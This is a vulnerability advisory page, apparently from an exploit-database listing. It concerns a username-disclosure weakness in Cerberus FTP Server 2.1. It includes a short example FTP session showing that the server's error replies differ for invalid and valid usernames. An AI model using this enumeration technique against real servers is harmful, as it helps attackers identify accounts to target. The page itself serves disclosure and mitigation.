Cerberus FTP Server Information Disclosure Vulnerability

vendor:

Cerberus FTP Server

by:

SecurityFocus

3.3

CVSS

MEDIUM

Information Disclosure

200

CWE

Product Name: Cerberus FTP Server

Affected Version From: 2.1

Affected Version To: 2.1

Patch Exists: YES

Related CWE: N/A

CPE: //a:cerberusftpserver

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

Cerberus FTP Server Information Disclosure Vulnerability

It has been reported that Cerberus FTP Server is prone to an information disclosure weakness. The problem exists in the way the FTP server handles the authentication procedure. An attacker may exploit a weakness in error handling to disclose valid usernames.

Mitigation:

Upgrade to the latest version of Cerberus FTP Server

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7369/info

It has been reported that Cerberus FTP Server is prone to an information disclosure weakness.

The problem exists in the way the FTP server handles the authentication procedure. An attacker may exploit a weakness in error handling to disclose valid usernames.

It should be noted that although this weakness was reported to affect Cerberus FTP server version 2.1, previous versions might also be affected.

c:\ ftp www.example.com
User (X.X.X.X:(none)): Not_Valid_User
530 Unknown user
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Login failed.
Valid User ( The Username Is Hack )
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c:\ ftp www.example.com
User (X.X.X.X:(none)): Hack
331 User Hack Ok, password please
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Password: